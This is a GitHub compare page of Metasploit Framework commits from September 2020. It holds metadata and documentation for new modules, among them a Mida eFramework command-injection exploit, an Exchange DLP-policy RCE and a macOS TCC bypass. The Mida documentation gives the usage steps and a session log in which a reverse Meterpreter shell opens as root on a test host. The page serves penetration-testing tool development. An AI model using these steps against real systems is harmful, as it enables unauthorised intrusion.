Compare commits

...

66 Commits

Author SHA1 Message Date
Metasploit 3e00adf61c automatic module_metadata_base.json update 2020-09-17 11:03:21 -05:00
Christophe De La Fuente 7323447c0a Land #14117', Hyper-V VM Enumeration Module 2020-09-17 17:52:27 +02:00
Grant Willcox a5c30be10b Land #14143, Replace erroneous calls to get_service 2020-09-17 10:41:15 -05:00
Grant Willcox b9ead300a8 Land #14145, Fix base64 error with the web service when storing a file into MSF's loot 2020-09-17 09:46:22 -05:00
Adam Galway 9a75fa681a removes undeeded id insertion into URL 2020-09-17 14:19:10 +01:00
Grant Willcox ef2ed891d4 Land #14146, Fix typo in YARD documentation for rpc_session.rb 2020-09-16 16:10:39 -05:00
Grant Willcox 85ef2b602e Fix up regex in module to address changes noted in review. Also update documentation to remove an extra line and to address review recommendtations 2020-09-16 16:02:54 -05:00
Metasploit e7628d0c24 automatic module_metadata_base.json update 2020-09-16 15:41:14 -05:00
Spencer McIntyre c2d101a06b Land #14126, Add Microsoft Exchange Server DLP Policy RCE (CVE-2020-16875) 2020-09-16 16:31:13 -04:00
Spencer McIntyre 4c1ce8834e Land #14139, Add cookie management to HttpClient and improve standards compliance 2020-09-16 16:02:29 -04:00
William Vu 5bda3b4b9d Revert "Make User-Agent consistent across requests"
This reverts commit 0ec97aa447.
2020-09-16 13:24:18 -05:00
William Vu da4e960eb0 Revert "Fix HttpUserAgent to UserAgent"
This reverts commit 3c8390a1c7.
2020-09-16 13:24:14 -05:00
William Vu 3c8390a1c7 Fix HttpUserAgent to UserAgent
Payload vs. HttpClient. Whoops.
2020-09-16 13:03:55 -05:00
William Vu 0ec97aa447 Make User-Agent consistent across requests 2020-09-16 12:59:17 -05:00
William Vu 03e0b9098c Add more words about Exchange role groups 2020-09-16 12:55:08 -05:00
William Vu 3508ba23d9 Don't expose HttpClient dev options to the user
HttpKeepCookies and HttpPartialResponses have been removed.
2020-09-16 12:26:11 -05:00
Metasploit 1255c4a059 automatic module_metadata_base.json update 2020-09-16 10:35:56 -05:00
Shelby Pace 0f0d6a233b Land #14074, add Mida eFramework command injection 2020-09-16 10:24:51 -05:00
The Zero Day Initiative Team eb49949639 simple typo fix in comment (in the YARD)
changes # ...actioin to action
2020-09-16 10:18:03 -05:00
Adam Galway 24d1d37a93 Land #14120, services -S stays in correct wrkspace 2020-09-16 15:54:22 +01:00
Christophe De La Fuente 3728df544e base64-encode data for string and array 2020-09-16 16:49:44 +02:00
Adam Galway 14b233f957 fixes broken tests 2020-09-16 15:20:16 +01:00
Adam Galway 4918ecf826 replaced get_service calls with services calls 2020-09-16 12:29:15 +01:00
William Vu e118ff1509 Add Microsoft Exchange Server DLP Policy RCE
CVE-2020-16875
2020-09-16 02:41:08 -05:00
Tim W 08fbce5220 Land #14125, add SCREEN_EFFECTS note to tccbypass 2020-09-16 15:14:29 +08:00
William Vu a946bdb67c Add cookie management to HttpClient 2020-09-16 00:13:26 -05:00
William Vu 6e64d74a56 Fix send_request_cgi! behavior to use PRG pattern 2020-09-15 15:50:57 -05:00
William Vu cada3cdf52 Fix ArgumentError in res.redirection from URI(nil) 2020-09-15 15:50:17 -05:00
William Vu 53fd5c9d14 Fix GET ctype=application/x-www-form-urlencoded 2020-09-15 15:50:07 -05:00
William Vu 1ce860a371 Land #14138, nexus_repo_manager_el_injection fix
Just the doc.
2020-09-15 13:24:10 -05:00
William Vu 5ba3301d16 Fix nexus_repo_manager_el_injection.md scenario
Missed in 966194d2b7.
2020-09-15 13:14:36 -05:00
Metasploit 67dbb34769 automatic module_metadata_base.json update 2020-09-14 11:50:55 -05:00
Christophe De La Fuente e11840c2a5 land #14031, F5 processor 2020-09-14 18:38:58 +02:00
h00die daa10ea735 enhance user data parsing 2020-09-12 10:07:23 -04:00
Spencer McIntyre 61fd7334b7 Land #13571, add Session notified to DingTalk Bot 2020-09-11 18:13:47 -04:00
Metasploit 38700737aa automatic module_metadata_base.json update 2020-09-11 15:09:25 -05:00
bwatters 3f689ccae9 Add warning for screen effect to tccbypass 2020-09-11 15:07:52 -05:00
bwatters f248f20b9e Land #13942, Add module for CVE-2020-9934
Merge branch 'land-13942' into upstream-master
2020-09-11 14:58:50 -05:00
Brendan Coles febe38e1ce resolve qa comments 2020-09-11 17:16:10 +00:00
Grant Willcox b3d386bdb4 Apply msftidy_docs.rb fixes and RuboCop the module 2020-09-11 09:40:37 -05:00
Tim W 93cdba483d add documentation 2020-09-11 17:31:40 +08:00
Lucas Vater 9101b4fba6 Group multi-column search conditions
Previously the OR-relations generated by the multi-column search method
were not grouped, resulting in wrong precedence in places where they are
used.
2020-09-11 08:40:28 +02:00
Grant Willcox 905fb73b7a Add in initial copy of module and documentation 2020-09-10 18:52:13 -05:00
adfoster-r7 a9197c482f Land #14111, remove calculation of payload sizes on boot 2020-09-10 22:10:25 +01:00
Metasploit bb5bc942ab Bump version of framework to 6.0.7 2020-09-10 13:38:26 -05:00
dwelch-r7 df7483af6c Remove sizes hash and calculation of payload sizes on boot 2020-09-10 12:57:40 +01:00
Tim W 686ef94e37 fix mkdir 2020-09-09 15:36:31 +08:00
Tim W c725a713af more feedback from bcoles 2020-09-09 14:21:03 +08:00
Tim W d447bbc3dc feedback from bcoles 2020-09-09 13:27:11 +08:00
Tim W 42d70bb2a2 Add module for CVE-2020-9934 2020-09-09 13:27:11 +08:00
Brendan Coles f5717e2a17 Add software URL 2020-08-31 15:50:37 +00:00
Brendan Coles 9d33ebd54a Add Mida Solutions eFramework ajaxreq.php Command Injection 2020-08-30 12:46:00 +00:00
h00die 537be9054d spacing and a to an 2020-08-25 16:17:37 -04:00
h00die 4ba3c95e8a fix follow param 2020-08-25 16:13:27 -04:00
cn-kali-team f26133bef0 add dingtalk's code 2020-08-25 12:06:57 +08:00
cn-kali-team 736511f930 remove dingtalk_plugins 2020-08-25 12:06:30 +08:00
h00die bba98d4f16 fix spec 2020-08-21 11:32:26 -04:00
h00die 4338a02bbd docs 2020-08-20 14:47:34 -04:00
h00die 26a83d5d5c rubocop 2020-08-20 14:31:18 -04:00
h00die c8a541c187 pre rubocop 2020-08-20 14:27:51 -04:00
cn-kali-team 0a3d3074a5 remove dingtalk code 2020-08-08 22:08:20 +08:00
cn-kali-team 7f63a5be06 add dingtalk_notifier plugins 2020-08-08 22:08:02 +08:00
cn-kali-team 55c4dcd751 add keyword to help 2020-06-17 20:52:23 +08:00
cn-kali-team 32c3dd5071 Original code style 2020-06-08 18:00:46 +08:00
cn-kali-team 6a0e4110d8 Original code style 2020-06-08 17:56:29 +08:00
cn-kali-team 5e61750c89 add Session notified to DingTalk 2020-06-08 15:24:04 +08:00
44 changed files with 2829 additions and 202 deletions
+1 -1
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.0.6)
metasploit-framework (6.0.7)
actionpack (~> 5.2.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
+2 -2
View File
@@ -24,7 +24,7 @@ bindata, 2.4.8, ruby
bit-struct, 0.16, ruby
bson, 4.10.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 1.17.2, MIT
bundler, 1.17.3, MIT
byebug, 11.1.3, "Simplified BSD"
coderay, 1.1.3, MIT
concurrent-ruby, 1.0.5, MIT
@@ -60,7 +60,7 @@ memory_profiler, 0.9.14, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 3.0.0, "New BSD"
metasploit-credential, 4.0.2, "New BSD"
metasploit-framework, 6.0.6, "New BSD"
metasploit-framework, 6.0.7, "New BSD"
metasploit-model, 3.0.0, "New BSD"
metasploit-payloads, 2.0.12, "3-clause (or ""modified"") BSD"
metasploit_data_models, 4.0.2, "New BSD"
+275 -3
View File
@@ -5616,7 +5616,7 @@
],
"targets": null,
"mod_time": "2020-08-19 07:46:55 +0000",
"mod_time": "2020-09-14 18:38:58 +0000",
"path": "/modules/auxiliary/admin/networking/brocade_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/brocade_config",
@@ -5702,7 +5702,7 @@
],
"targets": null,
"mod_time": "2020-08-19 07:46:55 +0000",
"mod_time": "2020-09-14 18:38:58 +0000",
"path": "/modules/auxiliary/admin/networking/cisco_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/cisco_config",
@@ -5852,6 +5852,43 @@
},
"needs_cleanup": false
},
"auxiliary_admin/networking/f5_config": {
"name": "F5 Configuration Importer",
"fullname": "auxiliary/admin/networking/f5_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports an F5 device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-25 16:17:37 +0000",
"path": "/modules/auxiliary/admin/networking/f5_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/f5_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/juniper_config": {
"name": "Juniper Configuration Importer",
"fullname": "auxiliary/admin/networking/juniper_config",
@@ -5878,7 +5915,7 @@
],
"targets": null,
"mod_time": "2020-08-19 07:46:55 +0000",
"mod_time": "2020-09-14 18:38:58 +0000",
"path": "/modules/auxiliary/admin/networking/juniper_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/juniper_config",
@@ -57300,6 +57337,69 @@
},
"needs_cleanup": true
},
"exploit_linux/http/mida_solutions_eframework_ajaxreq_rce": {
"name": "Mida Solutions eFramework ajaxreq.php Command Injection",
"fullname": "exploit/linux/http/mida_solutions_eframework_ajaxreq_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-07-24",
"type": "exploit",
"author": [
"elbae",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits a command injection vulnerability in Mida\n Solutions eFramework version 2.9.0 and prior.\n\n The `ajaxreq.php` file allows unauthenticated users to inject\n arbitrary commands in the `PARAM` parameter to be executed as\n the apache user. The sudo configuration permits the apache user\n to execute any command as root without providing a password,\n resulting in privileged command execution as root.\n\n This module has been successfully tested on Mida Solutions\n eFramework-C7-2.9.0 virtual appliance.",
"references": [
"CVE-2020-15920",
"EDB-48768",
"URL-https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux (x86)",
"Linux (x64)",
"UNIX (cmd)"
],
"mod_time": "2020-09-11 17:16:10 +0000",
"path": "/modules/exploits/linux/http/mida_solutions_eframework_ajaxreq_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/mida_solutions_eframework_ajaxreq_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"needs_cleanup": null
},
"exploit_linux/http/multi_ncc_ping_exec": {
"name": "D-Link/TRENDnet NCC Service Command Injection",
"fullname": "exploit/linux/http/multi_ncc_ping_exec",
@@ -124068,6 +124168,72 @@
},
"needs_cleanup": null
},
"exploit_windows/http/exchange_ecp_dlp_policy": {
"name": "Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE",
"fullname": "exploit/windows/http/exchange_ecp_dlp_policy",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-09-08",
"type": "exploit",
"author": [
"mr_me",
"wvu <wvu@metasploit.com>"
],
"description": "This vulnerability allows remote attackers to execute arbitrary code\n on affected installations of Exchange Server. Authentication is\n required to exploit this vulnerability. Additionally, the target user\n must have the \"Data Loss Prevention\" role assigned and an active\n mailbox.\n\n If the user is in the \"Compliance Management\" or greater \"Organization\n Management\" role groups, then they have the \"Data Loss Prevention\"\n role. Since the user who installed Exchange is in the \"Organization\n Management\" role group, they transitively have the \"Data Loss\n Prevention\" role.\n\n The specific flaw exists within the processing of the New-DlpPolicy\n cmdlet. The issue results from the lack of proper validation of\n user-supplied template data when creating a DLP policy. An attacker\n can leverage this vulnerability to execute code in the context of\n SYSTEM.\n\n Tested against Exchange Server 2016 CU14 on Windows Server 2016.",
"references": [
"CVE-2020-16875",
"URL-https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875",
"URL-https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016",
"URL-https://srcincite.io/advisories/src-2020-0019/",
"URL-https://srcincite.io/pocs/cve-2020-16875.py.txt",
"URL-https://srcincite.io/pocs/cve-2020-16875.ps1.txt"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Exchange Server 2016 and 2019 w/o KB4577352"
],
"mod_time": "2020-09-16 13:24:18 +0000",
"path": "/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_ecp_dlp_policy",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"account-lockouts",
"config-changes",
"artifacts-on-disk"
]
},
"needs_cleanup": null
},
"exploit_windows/http/exchange_ecp_viewstate": {
"name": "Exchange Control Panel ViewState Deserialization",
"fullname": "exploit/windows/http/exchange_ecp_viewstate",
@@ -173318,6 +173484,39 @@
},
"needs_cleanup": null
},
"post_networking/gather/enum_f5": {
"name": "F5 Gather Device General Information",
"fullname": "post/networking/gather/enum_f5",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"h00die"
],
"description": "This module collects a F5's device information and configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-12 10:07:23 +0000",
"path": "/modules/post/networking/gather/enum_f5.rb",
"is_install_path": true,
"ref_name": "networking/gather/enum_f5",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_networking/gather/enum_juniper": {
"name": "Juniper Gather Device General Information",
"fullname": "post/networking/gather/enum_juniper",
@@ -173483,6 +173682,46 @@
},
"needs_cleanup": null
},
"post_osx/escalate/tccbypass": {
"name": "Bypass the macOS TCC Framework",
"fullname": "post/osx/escalate/tccbypass",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"mattshockl",
"timwr"
],
"description": "This module exploits a vulnerability in the TCC daemon on macOS Catalina\n (<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be\n manipulated (by setting the HOME environment variable) to use a new user\n controlled location as the TCC database. We can then grant ourselves\n entitlements by inserting them into this new database.",
"references": [
"CVE-2020-9934",
"URL-https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8",
"URL-https://github.com/mattshockl/CVE-2020-9934"
],
"platform": "OSX",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-11 15:07:52 +0000",
"path": "/modules/post/osx/escalate/tccbypass.rb",
"is_install_path": true,
"ref_name": "osx/escalate/tccbypass",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"needs_cleanup": null
},
"post_osx/gather/apfs_encrypted_volume_passwd": {
"name": "Mac OS X APFS Encrypted Volume Password Disclosure",
"fullname": "post/osx/gather/apfs_encrypted_volume_passwd",
@@ -177244,6 +177483,39 @@
},
"needs_cleanup": null
},
"post_windows/gather/enum_hyperv_vms": {
"name": "Windows Hyper-V VM Enumeration",
"fullname": "post/windows/gather/enum_hyperv_vms",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"gwillcox-r7"
],
"description": "This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all\n of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.",
"references": [
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-16 16:02:54 +0000",
"path": "/modules/post/windows/gather/enum_hyperv_vms.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_hyperv_vms",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_windows/gather/enum_ie": {
"name": "Windows Gather Internet Explorer User Data Enumeration",
"fullname": "post/windows/gather/enum_ie",
@@ -0,0 +1,525 @@
## Vulnerable Application
### General Notes
This module imports an F5 configuration file into the database.
This is similar to `post/networking/gather/enum_f5` only access isn't required,
and assumes you already have the file.
### Example Config
```
#TMSH-VERSION: 15.1.0.2
cm cert /Common/dtca-bundle.crt {
cache-path /config/filestore/files_d/Common_d/trust_certificate_d/:Common:dtca-bundle.crt_62970_3
checksum SHA1:1310:d1e052507e0ec1a274848374ff904ae8548d7dd2
revision 3
}
cm cert /Common/dtca.crt {
cache-path /config/filestore/files_d/Common_d/trust_certificate_d/:Common:dtca.crt_62966_3
checksum SHA1:1310:d1e052507e0ec1a274848374ff904ae8548d7dd2
revision 3
}
cm cert /Common/dtdi.crt {
cache-path /config/filestore/files_d/Common_d/trust_certificate_d/:Common:dtdi.crt_62962_3
checksum SHA1:1285:0f4ddae3808474c70911f43725c7cfdb46aa4430
revision 3
}
cm device /Common/f5bigip.home.com {
active-modules { "BIG-IP, VE Trial|VTFLRXF-LFSIQYY|Rate Shaping|External Interface and Network HSM, VE|SDN Services, VE|SSL, Forward Proxy, VE|BIG-IP VE, Multicast Routing|APM, Limited|SSL, VE|DNS (1K QPS), VE|Routing Bundle, VE|ASM, VE|Crytpo Offload, VE, Tier 1 (25M - 200M)|Max Compression, VE|AFM, VE|DNSSEC|Anti-Virus Checks|Base Endpoint Security Checks|Firewall Checks|Network Access|Secure Virtual Keyboard|APM, Web Application|Machine Certificate Checks|Protected Workspace|Remote Desktop|App Tunnel|VE, Carrier Grade NAT (AFM ONLY)|PSM, VE" }
base-mac aa:aa:aa:aa:aa:aa
build 0.0.9
cert /Common/dtdi.crt
chassis-id 564dcf79-53ce-3494-3217671849c7
configsync-ip 10.10.10.222
edition "Point Release 2"
hostname f5bigip.home.com
key /Common/dtdi.key
management-ip 2.2.2.2
marketing-name "BIG-IP Virtual Edition"
platform-id Z100
product BIG-IP
self-device true
time-zone America/Los_Angeles
version 15.1.0.2
}
cm device-group /Common/device_trust_group {
auto-sync enabled
devices {
/Common/f5bigip.home.com { }
}
hidden true
network-failover disabled
}
cm device-group /Common/gtm {
devices {
/Common/f5bigip.home.com { }
}
hidden true
network-failover disabled
}
cm key /Common/dtca.key {
cache-path /config/filestore/files_d/Common_d/trust_certificate_key_d/:Common:dtca.key_62968_3
checksum SHA1:1704:f274958ad619b0c70d8ccc4f7c5ae199061464e6
revision 3
}
cm key /Common/dtdi.key {
cache-path /config/filestore/files_d/Common_d/trust_certificate_key_d/:Common:dtdi.key_62964_3
checksum SHA1:1704:97eeb5aedee76b3c21e6d735604a092e830ef6c2
revision 3
}
cm traffic-group /Common/traffic-group-1 {
unit-id 1
}
cm traffic-group /Common/traffic-group-local-only { }
cm trust-domain /Common/Root {
ca-cert /Common/dtca.crt
ca-cert-bundle /Common/dtca-bundle.crt
ca-devices { /Common/f5bigip.home.com }
ca-key /Common/dtca.key
guid fe0ee274-0355-4940-acc7000c291849c7
status standalone
trust-group /Common/device_trust_group
}
net interface 1.1 {
media-fixed 10000T-FD
}
net interface 1.2 {
media-fixed 10000T-FD
}
net interface 1.3 {
media-fixed 10000T-FD
}
net port-list /Common/_sys_self_allow_tcp_defaults {
ports {
22 { }
53 { }
161 { }
443 { }
1029-1043 { }
4353 { }
}
}
net port-list /Common/_sys_self_allow_udp_defaults {
ports {
53 { }
161 { }
520 { }
1026 { }
4353 { }
}
}
net route-domain /Common/0 {
id 0
vlans {
/Common/http-tunnel
/Common/socks-tunnel
/Common/internal
}
}
net self /Common/10.10.10.223 {
address 10.10.10.223/8
allow-service {
default
}
traffic-group /Common/traffic-group-1
vlan /Common/internal
}
net self /Common/10.10.10.222 {
address 10.10.10.222/8
allow-service {
default
}
traffic-group /Common/traffic-group-local-only
vlan /Common/internal
}
net self-allow {
defaults {
igmp:0
ospf:0
pim:0
tcp:161
tcp:22
tcp:4353
tcp:443
tcp:53
udp:1026
udp:161
udp:4353
udp:520
udp:53
}
}
net stp /Common/cist { }
net vlan /Common/internal {
tag 4094
}
net fdb tunnel /Common/http-tunnel { }
net fdb tunnel /Common/socks-tunnel { }
net fdb vlan /Common/internal { }
net tunnels tunnel /Common/http-tunnel {
description "Tunnel for http-explicit profile"
profile /Common/tcp-forward
}
net tunnels tunnel /Common/socks-tunnel {
description "Tunnel for socks profile"
profile /Common/tcp-forward
}
security device-id attribute /Common/att01 {
id 1
}
security device-id attribute /Common/att02 {
id 2
}
security device-id attribute /Common/att03 {
id 3
}
security device-id attribute /Common/att04 {
id 4
}
security device-id attribute /Common/att05 {
id 5
}
security device-id attribute /Common/att06 {
id 6
}
security device-id attribute /Common/att07 {
id 7
}
security device-id attribute /Common/att08 {
id 8
}
security device-id attribute /Common/att09 {
id 9
}
security device-id attribute /Common/att10 {
id 10
}
security device-id attribute /Common/att11 {
id 11
}
security device-id attribute /Common/att12 {
id 12
}
security device-id attribute /Common/att13 {
id 13
}
security device-id attribute /Common/att14 {
id 14
}
security device-id attribute /Common/att15 {
id 15
}
security device-id attribute /Common/att16 {
id 16
}
security device-id attribute /Common/att17 {
id 17
}
security device-id attribute /Common/att18 {
id 18
}
security device-id attribute /Common/att19 {
id 19
}
security device-id attribute /Common/att20 {
id 20
}
security device-id attribute /Common/att21 {
id 21
}
security device-id attribute /Common/att22 {
id 22
}
security device-id attribute /Common/att23 {
id 23
}
security device-id attribute /Common/att24 {
id 24
}
security device-id attribute /Common/att25 {
id 25
}
security device-id attribute /Common/att26 {
id 26
}
security device-id attribute /Common/att27 {
id 27
}
security device-id attribute /Common/att28 {
id 28
}
security device-id attribute /Common/att29 {
id 29
}
security device-id attribute /Common/att30 {
id 30
}
security device-id attribute /Common/att31 {
id 31
}
security device-id attribute /Common/att32 {
id 32
}
security device-id attribute /Common/att33 {
id 33
}
security device-id attribute /Common/att34 {
id 34
}
security device-id attribute /Common/att35 {
id 35
}
security device-id attribute /Common/att36 {
id 36
}
security device-id attribute /Common/att37 {
id 37
}
security device-id attribute /Common/att38 {
id 38
}
security device-id attribute /Common/att39 {
id 39
}
security firewall config-entity-id /Common/uuid_entity_id {
entity-id 3346813779321352940
}
security firewall port-list /Common/_sys_self_allow_tcp_defaults {
ports {
22 { }
53 { }
161 { }
443 { }
1029-1043 { }
4353 { }
}
}
security firewall port-list /Common/_sys_self_allow_udp_defaults {
ports {
53 { }
161 { }
520 { }
1026 { }
4353 { }
}
}
security firewall rule-list /Common/_sys_self_allow_all {
rules {
_sys_allow_all {
action accept
ip-protocol any
}
}
}
security firewall rule-list /Common/_sys_self_allow_defaults {
rules {
_sys_allow_tcp_defaults {
action accept
ip-protocol tcp
destination {
port-lists {
/Common/_sys_self_allow_tcp_defaults
}
}
}
_sys_allow_udp_defaults {
action accept
ip-protocol udp
destination {
port-lists {
/Common/_sys_self_allow_udp_defaults
}
}
}
_sys_allow_ospf_defaults {
action accept
ip-protocol ospf
}
_sys_allow_pim_defaults {
action accept
ip-protocol pim
}
_sys_allow_igmp_defaults {
action accept
ip-protocol igmp
}
}
}
security firewall rule-list /Common/_sys_self_allow_management {
rules {
_sys_allow_ssh {
action accept
ip-protocol tcp
destination {
ports {
22 { }
}
}
}
_sys_allow_web {
action accept
ip-protocol tcp
destination {
ports {
443 { }
}
}
}
}
}
security ip-intelligence policy /Common/ip-intelligence { }
security shared-objects port-list /Common/_sys_self_allow_tcp_defaults {
ports {
22 { }
53 { }
161 { }
443 { }
1029-1043 { }
4353 { }
}
}
security shared-objects port-list /Common/_sys_self_allow_udp_defaults {
ports {
53 { }
161 { }
520 { }
1026 { }
4353 { }
}
}
sys dns {
description configured-by-dhcp
name-servers { 192.168.2.40 9.9.9.9 }
search { ragedomain }
}
sys folder / {
device-group none
hidden false
inherited-devicegroup false
inherited-traffic-group false
traffic-group /Common/traffic-group-1
}
sys folder /Common {
device-group none
hidden false
inherited-devicegroup true
inherited-traffic-group true
traffic-group /Common/traffic-group-1
}
sys folder /Common/Drafts {
device-group none
hidden false
inherited-devicegroup true
inherited-traffic-group true
traffic-group /Common/traffic-group-1
}
sys global-settings {
hostname f5bigip.home.com
}
sys management-dhcp /Common/sys-mgmt-dhcp-config {
request-options { subnet-mask broadcast-address routers domain-name domain-name-servers host-name ntp-servers interface-mtu }
}
sys provision ltm {
level nominal
}
sys snmp {
agent-addresses { tcp6:161 udp6:161 }
communities {
/Common/comm-public {
community-name public
source default
}
}
disk-monitors {
/Common/root {
minspace 2000
path /
}
/Common/var {
minspace 10000
path /var
}
}
process-monitors {
/Common/bigd {
max-processes infinity
process bigd
}
/Common/chmand {
process chmand
}
/Common/httpd {
max-processes infinity
process httpd
}
/Common/mcpd {
process mcpd
}
/Common/sod {
process sod
}
/Common/tmm {
max-processes infinity
process tmm
}
}
}
sys dynad settings {
development-mode false
}
sys fpga firmware-config {
type standard-balanced-fpga
}
sys sflow global-settings http { }
sys sflow global-settings vlan { }
sys turboflex profile-config {
type turboflex-adc
}
```
## Verification Steps
1. Have an F5 configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/networking/f5_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
### RHOST
Needed for setting services and items to. This is relatively arbitrary.
### CONFIG
File path to the configuration file.
## Scenarios
### F5 Big-IP 15.1.0.2 (virtual on ESXi)
```
resource (f5.rb)> use auxiliary/admin/networking/f5_config
resource (f5.rb)> set config /home/h00die/Downloads/f5_config.txt
config => /home/h00die/Downloads/f5_config.txt
resource (f5.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (f5.rb)> set verbose true
verbose => true
resource (f5.rb)> run
[*] Running module against 127.0.0.1
[*] Importing config
[+] 127.0.0.1:22 SNMP Community 'public' with RO access
[+] 127.0.0.1:22 Hostname: f5bigip.home.com
[+] 127.0.0.1:22 MAC Address: aa:aa:aa:aa:aa:aa
[+] 127.0.0.1:22 Management IP: 2.2.2.2
[+] 127.0.0.1:22 Product BIG-IP
[+] 127.0.0.1:22 OS Version: 15.1.0.2
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -0,0 +1,64 @@
## Vulnerable Application
This module exploits a command injection vulnerability in
[Mida Solutions eFramework](https://www.midasolutions.com/)
version 2.9.0 and prior.
The `ajaxreq.php` file allows unauthenticated users to inject
arbitrary commands in the `PARAM` parameter to be executed as
the apache user. The sudo configuration permits the apache user
to execute any command as root without providing a password,
resulting in privileged command execution as root.
This module has been successfully tested on Mida Solutions
eFramework-C7-2.9.0 virtual appliance.
Download:
http://ova-efw.midasolutions.com/
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce`
1. Do: `set RHOSTS [IP]`
1. Do: `set payload [payload]`
1. Do: `set LHOST [IP]`
1. Do: `exploit`
## Options
### TARGETURI
Base path to eFramework (Default: `/`)
## Scenarios
```
msf6 > use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set rhosts 172.16.191.123
rhosts => 172.16.191.123
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > check
[+] 172.16.191.123:443 - The target is vulnerable.
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (3008420 bytes) to 172.16.191.123
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.123:42452) at 2020-08-30 08:42:27 -0400
[*] Command Stager progress - 100.00% done (897/897 bytes)
meterpreter > getuid
Server username: root @ eFramework-1 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 172.16.191.123
OS : CentOS 7.6.1810 (Linux 3.10.0-957.10.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -121,6 +121,8 @@ Exploit target:
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set password admin
password => admin
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > run
@@ -0,0 +1,123 @@
## Vulnerable Application
### Description
This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target user
must have the `Data Loss Prevention` role assigned and an active
mailbox.
If the user is in the `Compliance Management` or greater `Organization
Management` role groups, then they have the `Data Loss Prevention`
role. Since the user who installed Exchange is in the `Organization
Management` role group, they transitively have the `Data Loss
Prevention` role.
The specific flaw exists within the processing of the `New-DlpPolicy`
cmdlet. The issue results from the lack of proper validation of
user-supplied template data when creating a DLP policy. An attacker
can leverage this vulnerability to execute code in the context of
`SYSTEM`.
Tested against Exchange Server 2016 CU14 on Windows Server 2016.
